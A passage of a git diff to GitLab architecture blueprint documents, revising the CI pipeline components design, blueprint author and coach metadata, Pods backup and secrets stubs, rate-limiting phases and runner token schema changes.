"@ayufan", "@grzesiek" ] approvers: [ "@jporter", "@cheryl.li" ] owning-stage: "~devops::verify" participating-stages: [] diff --git a/doc/architecture/blueprints/ci_pipeline_components/index.md b/doc/architecture/blueprints/ci_pipeline_components/index.md index 100c9e67fda..5bff794c683 100644 --- a/doc/architecture/blueprints/ci_pipeline_components/index.md +++ b/doc/architecture/blueprints/ci_pipeline_components/index.md @@ -1,8 +1,8 @@ --- status: proposed creation-date: "2022-09-14" -authors: [ "@fabio", "@grzesiek" ] -coach: "@kamil" +authors: [ "@ayufan", "@fabiopitino", "@grzesiek" ] +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@dhershkovitch", "@marknuzzo" ] owning-stage: "~devops::verify" participating-stages: [] @@ -134,6 +134,28 @@ For best experience with any systems made of components it's fundamental that co The version identifies the exact interface and behavior of the component. - **Resolvable**: when a component depends on another component, this dependency must be explicit and trackable. +### Predictable components + +Eventually, we want to make CI Catalog Components predictable. Including a +component by its path, using a fixed `@` version, should always return the same +configuration, regardless of a context from which it is getting included from. +The resulting configuration should be the same for a given component version +and the set of inputs passed using `with:` keyword, hence it should be +[deterministic](https://en.wikipedia.org/wiki/Deterministic_algorithm). + +A component should not produce side effects by being included and should be +[referentially transparent](https://en.wikipedia.org/wiki/Referential_transparency). + +Making components predictable is a process, and we may not be able to achieve +this without significantly redesigning CI templates, what could be disruptive +for users and customers right now. We initially considered restricting some +top-level keywords, like `include: remote:` to make components more +deterministic, but eventually agreed that we first need to iterate on the MVP +to better understand the design that is required to make components more +predictable. The predictability, determinism, referential transparency and +making CI components predictable is still important for us, but we may be +unable to achieve it early iterations. + ## Structure of a component A pipeline component is identified by the path to a repository or directory that defines it @@ -143,30 +165,36 @@ For example: `gitlab-org/dast@1.0`. ### The component path -A component path must contain at least the metadata YAML and optionally a related `README.md` documentation file. +A component path must contain at least the component YAML and optionally a +related `README.md` documentation file. The component path can be: -- A path to a project: `gitlab-org/dast`. In this case the 2 files are defined in the root directory of the repository. -- A path to a project subdirectory: `gitlab-org/dast/api-scan`. In this case the 2 files are defined in the `api-scan` directory. -- A path to a local directory: `/path/to/component`. This path must contain the metadata YAML that defines the component. +- A path to a project: `gitlab-org/dast`. The default component is processed. +- A path to an explicit component: `gitlab-org/dast/api-scan`. In this case the explicit `api-scan` component is processed. +- A path to a local directory: `/path/to/component`. This path must contain the component YAML that defines the component. The path must start with `/` to indicate a full path in the repository. -The metadata YAML file follows the filename convention `gitlab-<component-type>.yml` where component type is one of: +The component YAML file follows the filename convention `<type>.yml` where component type is one of: | Component type | Context | | -------------- | ------- | | `template` | For components used under `include:` keyword | | `step` | For components used under `steps:` keyword | -| `workflow` | For components used under `trigger:` keyword | Based on the context where the component is used we fetch the correct YAML file. -For example, if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `gitlab-template.yml` in the -top level directory of `gitlab-org/dast` repository. +For example: + +- if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `template.yml` in the + root directory of `gitlab-org/dast` repository. +- if we are including a component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `template.yml` inside a + directory `api-scan` of `gitlab-org/dast` repository. +- if we are using a step component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `step.yml` inside a + directory `api-scan` of `gitlab-org/dast` repository. -A `gitlab-<component-type>.yml` file: +A component YAML file: -- Must have a **name** to be referenced to and **description** for extra details. +- Must have a **name** to be referenced to. - Must specify its **type** in the filename, which defines how it can be used (raw configuration to be `include`d, child pipeline workflow, job step). - Must define its **content** based on the type. - Must specify **input parameters** that it accepts. Components should depend on input parameters for dynamic values and not environment variables. @@ -174,6 +202,7 @@ A `gitlab-<component-type>.yml` file: - Should be **validated statically** (for example: using JSON schema validators). ```yaml +--- spec: inputs: website: @@ -184,11 +213,12 @@ spec: - unit - integration - system -content: { ... } +--- +# content of the component ``` -Components that are released in the catalog must have a `README.md` file in the same directory as the -metadata YAML file. The `README.md` represents the documentation for the specific component, hence it's recommended +Components that are released in the catalog must have a `README.md` file at the root directory of the repository. +The `README.md` represents the documentation for the specific component, hence it's recommended even when not releasing versions in the catalog. ### The component version @@ -230,30 +260,28 @@ The following directory structure would support 1 component per project: ```plaintext . -├── gitlab-<type>.yml +├── template.yml ├── README.md └── .gitlab-ci.yml ``` The `.gitlab-ci.yml` is recommended for the project to ensure changes are verified accordingly. -The component is now identified by the path `myorg/rails-rspec`. In other words, this means that -the `gitlab-<type>.yml` and `README.md` are located in the root directory of the repository. +The component is now identified by the path `myorg/rails-rspec` and we expect a `template.yml` file +and `README.md` located in the root directory of the repository. The following directory structure would support multiple components per project: ```plaintext . ├── .gitlab-ci.yml +├── README.md ├── unit/ -│ ├── gitlab-workflow.yml -│ └── README.md +│ └── template.yml ├── integration/ -│ ├── gitlab-workflow.yml -│ └── README.md +│ └── template.yml └── feature/ - ├── gitlab-workflow.yml - └── README.md + └── template.yml ``` In this example we are defining multiple test profiles that are executed with RSpec. @@ -266,18 +294,20 @@ This directory structure could also support both strategies: ```plaintext . -├── gitlab-template.yml # myorg/rails-rspec +├── template.yml # myorg/rails-rspec ├── README.md +├── LICENSE ├── .gitlab-ci.yml ├── unit/ -│ ├── gitlab-workflow.yml # myorg/rails-rspec/unit -│ └── README.md +│ └── template.yml # myorg/rails-rspec/unit ├── integration/ -│ ├── gitlab-workflow.yml # myorg/rails-rspec/integration -│ └── README.md -└── feature/ - ├── gitlab-workflow.yml # myorg/rails-rspec/feature - └── README.md +│ └── template.yml # myorg/rails-rspec/integration +├── feature/ +│ └── template.yml # myorg/rails-rspec/feature +└── report/ + ├── step.yml # myorg/rails-rspec/report + ├── Dockerfile + └── ... other files ``` With the above structure we could have a top-level component that can be used as the @@ -285,14 +315,15 @@ default component. For example, `myorg/rails-rspec` could run all the test profi However, more specific test profiles could be used separately (for example `myorg/rails-rspec/integration`). NOTE: -Any nesting more than 1 level is initially not permitted. +Nesting of components is not permitted. This limitation encourages cohesion at project level and keeps complexity low. -## Input parameters `spec:inputs:` parameters +## `spec:inputs:` parameters If the component takes any input parameters they must be specified according to the following schema: ```yaml +--- spec: inputs: website: # by default all declared inputs are mandatory. @@ -303,8 +334,15 @@ spec: - unit - integration - system +--- +# content of the component +my-job: + script: echo ``` +The YAML in this case contains 2 documents. The first document represents the specifications while the +second document represents the content. + When using the component we pass the input parameters as follows: ```yaml @@ -322,27 +360,28 @@ possible [inputs provided upstream](#input-parameters-for-pipelines). Input parameters are validated as soon as possible: 1. Read the file `gitlab-template.yml` inside `org/my-component`. -1. Parse `spec:inputs` and validate the parameters against this schema. -1. If successfully validated, proceed with parsing `content:`. Return an error otherwise. -1. Interpolate input parameters inside the component's `content:`. +1. Parse `spec:inputs` from the specifications and validate the parameters against this schema. +1. If successfully validated, proceed with parsing the content. Return an error otherwise. +1. Interpolate input parameters inside the component's content. ```yaml +--- spec: inputs: environment: options: [test, staging, production] -content: - "run-tests-$[[ inputs.environment ]]": - script: ./run-test - - scan-website: - script: ./scan-website $[[ inputs.environment ]] - rules: - - if: $[[ inputs.environment ]] == 'staging' - - if: $[[ inputs.environment ]] == 'production' +--- +"run-tests-$[[ inputs.environment ]]": + script: ./run-test + +scan-website: + script: ./scan-website $[[ inputs.environment ]] + rules: + - if: $[[ inputs.environment ]] == 'staging' + - if: $[[ inputs.environment ]] == 'production' ``` -With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the `content:`. +With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the content. ### Why input parameters and not environment variables? @@ -386,17 +425,19 @@ include: foo: bar ``` -Then the configuration being included must specify the inputs: +Then the configuration being included must specify the inputs by defining a specification section in the YAML: ```yaml +--- spec: inputs: foo: - +--- # rest of the configuration ``` -If a YAML includes content using `with:` but the including YAML doesn't specify `inputs:`, an error should be raised. +If a YAML includes content using `with:` but the including YAML doesn't define `inputs:` in the specifications, +an error should be raised. |`with:`| `inputs:` | result | | --- | --- | --- | @@ -428,9 +469,10 @@ deploy-app: deploy_environment: staging ``` -To solve the problem of `Run Pipeline` UI form we could fully leverage the `spec:inputs` schema: +To solve the problem of `Run Pipeline` UI form we could fully leverage the `inputs` specifications: ```yaml +--- spec: inputs: concurrency: @@ -443,9 +485,11 @@ spec: - canary # 2nd option - production # 3rd option default: staging # selected by default in the UI. - # if `default:` is not specified, the user must explicitly select - # an option. + # if `default:` is not specified, the user must explicitly select + # an option. description: Deployment environment # optional: render as input label. +--- +# rest of the pipeline config ``` ## Limits diff --git a/doc/architecture/blueprints/ci_scale/index.md b/doc/architecture/blueprints/ci_scale/index.md index 574a79c86a5..cf7065f7c07 100644 --- a/doc/architecture/blueprints/ci_scale/index.md +++ b/doc/architecture/blueprints/ci_scale/index.md @@ -1,5 +1,5 @@ --- -status: in progress +status: ongoing creation-date: "2021-01-21" authors: [ "@grzesiek" ] coach: "@grzesiek" diff --git a/doc/architecture/blueprints/cloud_native_build_logs/index.md b/doc/architecture/blueprints/cloud_native_build_logs/index.md index 20cfb46abc4..bbce54a3fb2 100644 --- a/doc/architecture/blueprints/cloud_native_build_logs/index.md +++ b/doc/architecture/blueprints/cloud_native_build_logs/index.md @@ -2,7 +2,7 @@ status: implemented creation-date: "2020-08-26" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@thaoyeager", "@darbyfrey" ] owning-stage: "~devops::release" participating-stages: [] diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md index b6f3a59dc0b..2bca1a4a4ca 100644 --- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md +++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md @@ -2,7 +2,7 @@ status: implemented creation-date: "2019-05-16" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@ogolowinski", "@dcroft", "@vshushlin" ] owning-stage: "~devops::release" participating-stages: [] diff --git a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md index 3ef98c33035..7fecbd1de71 100644 --- a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md +++ b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md @@ -1,14 +1,14 @@ --- status: proposed creation-date: "2021-05-19" -authors: [ "@kamil", "@mkaeppler" ] +authors: [ "@ayufan", "@mkaeppler" ] coach: "@glopezfernandez" approvers: [] owning-stage: "~devops::non_devops" participating-stages: [] --- -# Composable GitLab codebase - using Rails Engines +# Composable GitLab Codebase NOTE: Due to our focus on improving the overall availability of GitLab.com and reducing tech debt, we do not have capacity to act on this blueprint. We will re-evaluate in Q1-FY23. diff --git a/doc/architecture/blueprints/feature_flags_development/index.md b/doc/architecture/blueprints/feature_flags_development/index.md index 730daf56f0d..b2e6fd1e82c 100644 --- a/doc/architecture/blueprints/feature_flags_development/index.md +++ b/doc/architecture/blueprints/feature_flags_development/index.md @@ -1,14 +1,14 @@ --- -status: accepted +status: implemented creation-date: "2020-06-10" -authors: [ "@kamil" ] +authors: [ "@ayufan" ] coach: "@glopezfernandez" approvers: [ "@kencjohnston", "@craig-gomes" ] owning-stage: "~devops::non_devops" participating-stages: [] --- -# Architectural discussion of feature flags +# Development Feature Flags Architecture Usage of feature flags become crucial for the development of GitLab. The feature flags are a convenient way to ship changes early, and safely rollout diff --git a/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md b/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md index a6efe68310e..c5bd2440b0c 100644 --- a/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md +++ b/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md @@ -673,10 +673,10 @@ Using PromQL directly could be a steep learning curve for users. It would be rea The following section enlists how we intend to implement the aforementioned proposal around building Metrics support into GitLab Observability Service. Each corresponding document and/or issue contains further details of how each next step is planned to be executed. -- **[DONE]** [Research & draft design proposal and/or requirements](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) -- **[IN-PROGRESS]** [Submit system/schema designs (proposal) & gather feedback](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) -- **[IN-PROGRESS]** [Develop table definitions and/or storage interfaces](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666) -- **[IN-PROGRESS]** [Prototype reference implementation, instrument key metrics](https://gitlab.com/gitlab-org/opstrace/opstrace/-/merge_requests/1823) +- **DONE** [Research & draft design proposal and/or requirements](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) +- **IN-PROGRESS** [Submit system/schema designs (proposal) & gather feedback](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing) +- **IN-PROGRESS** [Develop table definitions and/or storage interfaces](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666) +- **IN-PROGRESS** [Prototype reference implementation, instrument key metrics](https://gitlab.com/gitlab-org/opstrace/opstrace/-/merge_requests/1823) - [Benchmark Clickhouse and/or proposed schemas, gather expert advice from Clickhouse Inc.](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666) - Develop write path(s) - `remote_write` API - Develop read path(s) - `remote_read` API, `PromQL`-based querier. diff --git a/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png b/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png Binary files differindex 54c4ed3b48f..9dccc515129 100644 --- a/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png +++ b/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png diff --git a/doc/architecture/blueprints/graphql_api/index.md b/doc/architecture/blueprints/graphql_api/index.md index 4b446a78541..95ff834cd27 100644 --- a/doc/architecture/blueprints/graphql_api/index.md +++ b/doc/architecture/blueprints/graphql_api/index.md @@ -2,7 +2,7 @@ status: accepted creation-date: "2021-01-07" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@dsatcher", "@deuley" ] owning-stage: "~devops::manage" participating-stages: [] diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md index 99a7c4ae144..b3938cbc8ab 100644 --- a/doc/architecture/blueprints/image_resizing/index.md +++ b/doc/architecture/blueprints/image_resizing/index.md @@ -2,7 +2,7 @@ status: implemented creation-date: "2020-10-21" authors: [ "@craig-gomes" ] -coach: "@kamil" +coach: "@ayufan" approvers: [ "@timzallmann", "@joshlambert" ] owning-stage: "~devops::non_devops" participating-stages: [] diff --git a/doc/architecture/blueprints/pods/index.md b/doc/architecture/blueprints/pods/index.md index 0a36de5790f..077303be30f 100644 --- a/doc/architecture/blueprints/pods/index.md +++ b/doc/architecture/blueprints/pods/index.md @@ -1,8 +1,8 @@ --- status: accepted creation-date: "2022-09-07" -authors: [ "@fzimmer", "@DylanGriffith" ] -coach: "@kamil" +authors: [ "@ayufan", "@fzimmer", "@DylanGriffith" ] +coach: "@ayufan" approvers: [ "@fzimmer" ] owning-stage: "~devops::enablement" participating-stages: [] @@ -150,6 +150,14 @@ At this moment, GitLab.com has "social-network"-like capabilities that may not f We should evaluate if the SMB and mid market segment is interested in these features, or if not having them is acceptable in most cases. +### Self-managed + +For reasons of consistency, it is expected that self-managed instances will +adopt the pods architecture as well. To expand, self-managed instances can +continue with just a single Pod while supporting the option of adding additional +Pods. Organizations, and possible User decomposition will also be adopted for +self-managed instances. + ## High-level architecture problems to solve A number of technical issues need to be resolved to implement Pods (in no particular order). This section will be expanded. @@ -325,9 +333,11 @@ This is the list of known affected features with the proposed solutions. - [Pods: Organizations](pods-feature-organizations.md) - [Pods: Router Endpoints Classification](pods-feature-router-endpoints-classification.md) - [Pods: Schema changes (Postgres and Elasticsearch migrations)](pods-feature-schema-changes.md) +- [Pods: Backups](pods-feature-backups.md) - [Pods: Global Search](pods-feature-global-search.md) - [Pods: CI Runners](pods-feature-ci-runners.md) - [Pods: Admin Area](pods-feature-admin-area.md) +- [Pods: Secrets](pods-feature-secrets.md) - [Pods: Container Registry](pods-feature-container-registry.md) - [Pods: Contributions: Forks](pods-feature-contributions-forks.md) - [Pods: Personal Namespaces](pods-feature-personal-namespaces.md) diff --git a/doc/architecture/blueprints/pods/pods-feature-backups.md b/doc/architecture/blueprints/pods/pods-feature-backups.md new file mode 100644 index 00000000000..5e4de42f473 --- /dev/null +++ b/doc/architecture/blueprints/pods/pods-feature-backups.md @@ -0,0 +1,61 @@ +--- +stage: enablement +group: pods +comments: false +description: 'Pods: Backups' +--- + +This document is a work-in-progress and represents a very early state of the +Pods design. Significant aspects are not documented, though we expect to add +them in the future. This is one possible architecture for Pods, and we intend to +contrast this with alternatives before deciding which approach to implement. +This documentation will be kept even if we decide not to implement this so that +we can document the reasons for not choosing this approach. + +# Pods: Backups + +Each pods will take its own backups, and consequently have its own isolated +backup / restore procedure. + +## 1. Definition + +GitLab Backup takes a backup of the PostgreSQL database used by the application, +and also Git repository data. + +## 2. Data flow + +Each pod has a number of application databases to back up (e.g. `main`, and `ci`). + +Additionally, there may be cluster-wide metadata tables (e.g. `users` table) +which is directly accesible via PostgreSQL. + +## 3. Proposal + +### 3.1. Cluster-wide metadata + +It is currently unknown how cluster-wide metadata tables will be accessible. We +may choose to have cluster-wide metadata tables backed up separately, or have +each pod back up its copy of cluster-wide metdata tables. + +### 3.2 Consistency + +#### 3.2.1 Take backups independently + +As each pod will communicate with each other via API, and there will be no joins +to the users table, it should be acceptable for each pod to take a backup +independently of each other. + +#### 3.2.2 Enforce snapshots + +We can require that each pod take a snapshot for the PostgreSQL databases at +around the same time to allow for a consistent-enough backup. + +## 4. Evaluation + +As the number of pods increases, it will likely not be feasible to take a +snapshot at the same time for all pods. Hence taking backups independently is +the better option. + +## 4.1. Pros + +## 4.2. Cons diff --git a/doc/architecture/blueprints/pods/pods-feature-secrets.md b/doc/architecture/blueprints/pods/pods-feature-secrets.md new file mode 100644 index 00000000000..f18a41dc0fb --- /dev/null +++ b/doc/architecture/blueprints/pods/pods-feature-secrets.md @@ -0,0 +1,48 @@ +--- +stage: enablement +group: pods +comments: false +description: 'Pods: Secrets' +--- + +This document is a work-in-progress and represents a very early state of the +Pods design. Significant aspects are not documented, though we expect to add +them in the future. This is one possible architecture for Pods, and we intend to +contrast this with alternatives before deciding which approach to implement. +This documentation will be kept even if we decide not to implement this so that +we can document the reasons for not choosing this approach. + +# Pods: Secrets + +Where possible, each pod should have its own distinct set of secrets. +However, there will be some secrets that will be required to be the same for all +pods in the cluster + +## 1. Definition + +GitLab has a lot of +[secrets](https://docs.gitlab.com/charts/installation/secrets.html) that needs +to be configured. + +Some secrets are for inter-component communication, e.g. `GitLab Shell secret`, +and used only within a pod. + +Some secrets are used for features, e.g. `ci_jwt_signing_key`. + +## 2. Data flow + +## 3. Proposal + +1. Secrets used for features will need to be consistent across all pods, so that the UX is consistent. + 1. This is especially true for the `db_key_base` secret which is used for + encrypting data at rest in the database - so that projects that are + transferred to another pod will continue to work. We do not want to have + to re-encrypt such rows when we move projects/groups between pods. +1. Secrets which are used for intra-pod communication only should be uniquely generated + per-pod. + +## 4. Evaluation + +## 4.1. Pros + +## 4.2. Cons diff --git a/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md b/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md index ab19b652f93..adc523e90c2 100644 --- a/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md +++ b/doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md @@ -555,9 +555,9 @@ sequenceDiagram They get a 404. -### Experience for non-logged in users +### Experience for non-authenticated users -Flow is similar to logged in users except global routes like `/dashboard` will +Flow is similar to authenticated users except global routes like `/dashboard` will redirect to the login page as there is no default organization to choose from. ### A new customers signs up diff --git a/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md b/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md index c99b02a35e9..1156e65f6aa 100644 --- a/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md +++ b/doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md @@ -578,7 +578,7 @@ sequenceDiagram They get a 404. -### Experience for non-logged in users +### Experience for non-authenticated users Flow is similar to logged in users except global routes like `/dashboard` will redirect to the login page as there is no default organization to choose from. diff --git a/doc/architecture/blueprints/rate_limiting/index.md b/doc/architecture/blueprints/rate_limiting/index.md index 22709a90cee..26114fce7f2 100644 --- a/doc/architecture/blueprints/rate_limiting/index.md +++ b/doc/architecture/blueprints/rate_limiting/index.md @@ -4,7 +4,7 @@ creation-date: "2022-09-08" authors: [ "@grzesiek", "@marshall007", "@fabiopitino", "@hswimelar" ] coach: "@andrewn" approvers: [ "@sgoldstein" ] -owning-stage: +owning-stage: "~devops::enablement" participating-stages: [] --- @@ -354,28 +354,33 @@ hierarchy. Choosing a proper solution will require a thoughtful research. ## Phases and iterations -**Phase 1**: Compile examples of current most important application limits — Owning Team - a. Owning Team (in collaboration with Stage Groups) compiles a list of the - most important application limits used in Rails today. -**Phase 2**: Implement Rate Limiting Framework in Rails - Owning Team - a. Triangulate rate limiting abstractions based on the data gathered in Phase 1 - b. Develop YAML model for limits. - c. Build Rails SDK. - d. Create examples showcasing usage of the new rate limits SDK. -**Phase 3**: Team fan out of Rails SDK - Stage Groups - a. Individual stage groups begin using the SDK built in Phase 2 for new limit and policies. - b. Stage groups begin replacing historical adhoc limit implementations with the SDK. - c. Provides means to monitor and observe the progress of the replacement effort. Ideally this is broken down to the `feature_category` level to drive group-level buy-in -- Owning Team. -**Phase 4**: Enable Satellite Services to Use the Rate Limiting Framework - Owning Team - a. Determine if the goals of Phase 4 are best met by either - 1. Extracting the Rails rate limiting service into a decoupled service OR - 2. Implementing a separate Go library which uses the same backend (eg, Redis) for rate limiting. -**Phase 5**: SDK for Satellite Services - Owning Team - a. Build Golang SDK. - c. Create examples showcasing usage of the new rate limits SDK. -**Phase 6**: Team fan out for Satellite Services - Stage Groups - a. Individual stage groups being using the SDK built in Phase 5 for new limit and policies. - b. Stage groups begin replacing historical adhoc limit implementations with the SDK. +1. **Compile examples of current most important application limits (Owning Team)** + - Owning Team (in collaboration with Stage Groups) compiles a list of the + most important application limits used in Rails today. + +1. **Implement Rate Limiting Framework in Rails (Owning Team)** + - Triangulate rate limiting abstractions based on the data gathered in Phase 1. + - Develop YAML model for limits. + - Build Rails SDK. + - Create examples showcasing usage of the new rate limits SDK. + +1. **Team fan out of Rails SDK (Stage Groups)** + - Individual stage groups begin using the SDK built in Phase 2 for new limit and policies. + - Stage groups begin replacing historical ad hoc limit implementations with the SDK. + - (Owning team) Provides means to monitor and observe the progress of the replacement effort. Ideally this is broken down to the `feature_category` level to drive group-level buy-in. + +1. **Enable Satellite Services to Use the Rate Limiting Framework (Owning Team)** + - Determine if the goals of Phase 4 are best met by either: + - Extracting the Rails rate limiting service into a decoupled service. + - Implementing a separate Go library which uses the same backend (for example, Redis) for rate limiting. + +1. **SDK for Satellite Services (Owning Team)** + - Build Golang SDK. + - Create examples showcasing usage of the new rate limits SDK. + +1. **Team fan out for Satellite Services (Stage Groups)** + - Individual stage groups begin using the SDK built in Phase 5 for new limit and policies. + - Stage groups begin replacing historical ad hoc limit implementations with the SDK. ## Status diff --git a/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png b/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png Binary files differindex 330873380d4..aab946923e2 100644 --- a/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png +++ b/doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.png diff --git a/doc/architecture/blueprints/remote_development/index.md b/doc/architecture/blueprints/remote_development/index.md index 39ea2fb2948..38c3782f5e3 100644 --- a/doc/architecture/blueprints/remote_development/index.md +++ b/doc/architecture/blueprints/remote_development/index.md @@ -1,5 +1,5 @@ --- -status: proposed +status: ongoing creation-date: "2022-11-15" authors: [ "@vtak" ] coach: "@grzesiek" diff --git a/doc/architecture/blueprints/runner_scaling/index.md b/doc/architecture/blueprints/runner_scaling/index.md index 8eb6bfd2551..53401d80e34 100644 --- a/doc/architecture/blueprints/runner_scaling/index.md +++ b/doc/architecture/blueprints/runner_scaling/index.md @@ -1,8 +1,8 @@ --- -status: accepted +status: ongoing creation-date: "2022-01-19" authors: [ "@grzesiek", "@tmaczukin", "@josephburnett" ] -coach: "@kamil" +coach: [ "@ayufan", "@grzesiek" ] approvers: [ "@DarrenEastman" ] owning-stage: "~devops::verify" participating-stages: [] diff --git a/doc/architecture/blueprints/runner_tokens/index.md b/doc/architecture/blueprints/runner_tokens/index.md index 7a282649c5c..7d21dd594ad 100644 --- a/doc/architecture/blueprints/runner_tokens/index.md +++ b/doc/architecture/blueprints/runner_tokens/index.md @@ -1,8 +1,11 @@ --- -stage: Verify -group: Runner -comments: false -description: 'Next Runner Token Architecture' +status: ready +creation-date: "2022-10-27" +authors: [ "@pedropombeiro", "@tmaczukin" ] +coach: "@ayufan" +approvers: [ "@erushton" ] +owning-stage: "~devops::verify" +participating-stages: [] --- # Next GitLab Runner Token Architecture @@ -37,7 +40,7 @@ We call this new mechanism the "next GitLab Runner Token architecture". The proposal addresses the issues of a _single token per scope_ and _token storage_ by eliminating the need for a registration token. Runner creation happens -in the GitLab Runners settings page for the given scope, in the context of the logged-in user, +in the GitLab Runners settings page for the given scope, in the context of the authenticated user, which provides traceability. The page provides instructions to configure the newly-created runner in supported environments using the existing `gitlab-runner register` command. @@ -137,7 +140,7 @@ instance (for example if the runner is offline). In addition, we should add the following columns to `ci_runners`: -- a `user_id` column to keep track of who created a runner; +- a `creator_id` column to keep track of who created a runner; - a `registration_type` enum column to `ci_runners` to signal whether a runner has been created using the legacy `register` method, or the new UI-based method. Possible values are `:registration_token` and `:authenticated_user`. @@ -145,26 +148,25 @@ In addition, we should add the following columns to `ci_runners`: future uses that may not be apparent. ```sql -CREATE TABLE ci_runner ( +CREATE TABLE ci_runners ( ... - user_id bigint + creator_id bigint registration_type int8 ) ``` -The `ci_builds_runner_session` (or `ci_builds` or `ci_builds_metadata`) shall reference -`ci_runner_machines`. +The `ci_builds_metadata` table shall reference `ci_runner_machines`. We might consider a more efficient way to store `contacted_at` than updating the existing record. ```sql -CREATE TABLE ci_builds_runner_session ( +CREATE TABLE ci_builds_metadata ( ... runner_machine_id bigint NOT NULL ); CREATE TABLE ci_runner_machines ( - id integer NOT NULL, - machine_id character varying UNIQUE NOT NULL, + id bigint NOT NULL, + machine_xid character varying UNIQUE NOT NULL, contacted_at timestamp without time zone, version character varying, revision character varying, @@ -172,6 +174,7 @@ CREATE TABLE ci_runner_machines ( architecture character varying, ip_address character varying, executor_type smallint, + config jsonb DEFAULT '{}'::jsonb NOT NULL ); ``` @@ -238,7 +241,7 @@ future after the legacy registration system is removed, and runners have been up versions. Job pings from such legacy runners results in a `ci_runner_machines` record containing a -`<legacy>` `machine_id` field value. +`<legacy>` `machine_xid` field value. Not using the unique system ID means that all connected runners with the same token are notified, instead of just the runner matching the exact system identifier. While not ideal, this is @@ -246,8 +249,13 @@ not an issue per-se. ### `ci_runner_machines` record lifetime -New records are created when the runner pings the GitLab instance for new jobs, if a record matching -the `token`+`system_id` does not already exist. +New records are created in 2 situations: + +- when the runner calls the `POST /api/v4/runners/verify` endpoint as part of the +`gitlab-runner register` command, if the specified runner token is prefixed with `glrt-`. +This allows the frontend to determine whether the user has successfully completed the registration and take an +appropriate action; +- when GitLab is pinged for new jobs and a record matching the `token`+`system_id` does not already exist. Due to the time-decaying nature of the `ci_runner_machines` records, they are automatically cleaned after 7 days after the last contact from the respective runner. @@ -306,32 +314,34 @@ using PAT tokens for example - such that every runner is associated with an owne | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Runner | `15.x` | Ensure a sidecar TOML file exists with a `system_id` value.<br/>Log new system ID values with `INFO` level as they get assigned. | -| GitLab Runner | `15.x` | Log unique system ID in the build logs. | -| GitLab Runner | `15.x` | Label Prometheus metrics with unique system ID. | -| GitLab Runner | `15.x` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. | +| GitLab Runner | `15.7` | Ensure a sidecar TOML file exists with a `system_id` value.<br/>Log new system ID values with `INFO` level as they get assigned. | +| GitLab Runner | `15.7` | Log unique system ID in the build logs. | +| GitLab Runner | `15.9` | Label Prometheus metrics with unique system ID. | +| GitLab Runner | `15.8` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. | ### Stage 3 - Database changes | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Rails app | | Create database migration to add columns to `ci_runners` table. | -| GitLab Rails app | | Create database migration to add `ci_runner_machines` table. | -| GitLab Rails app | | Create database migration to add `ci_runner_machines.machine_id` foreign key to `ci_builds_runner_session` table. | -| GitLab Rails app | | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). | -| GitLab Runner | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. | +| GitLab Rails app | `%15.8` | Create database migration to add columns to `ci_runners` table. | +| GitLab Rails app | `%15.8` | Create database migration to add `ci_runner_machines` table. | +| GitLab Rails app | 